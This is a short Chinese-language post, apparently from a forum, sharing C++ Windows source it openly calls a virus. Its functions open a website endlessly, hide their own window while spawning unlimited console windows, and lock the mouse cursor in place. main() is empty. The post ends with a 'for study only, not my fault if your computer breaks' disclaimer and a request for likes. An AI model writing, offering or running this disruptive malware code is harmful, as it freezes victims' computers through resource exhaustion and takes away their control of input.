8
代码如下:
#include<iostream>
#include<conio.h>
#include<windows.h>
using namespace std;
void dos(){
while(1){
system("start https://ke.kuding.cn");
}
}
void open_window(){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
while(1){
system("start");
}
}
void move_mouse() {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
int x=300,y=300;
if (x >= screenWidth) x = screenWidth - 1;
if (y >= screenHeight) y = screenHeight - 1;
while(1){
SetCursorPos(x, y);
}
}
int main(){
return 0;
}
dos:一直打开某个网页(此处是ke.kuding.cn)
open_window:一直弹窗口
move_mouse:把你的鼠标固定住
病毒危险,仅供学习和参考!(电脑坏了不关我事)
觉得好用的点赞!!!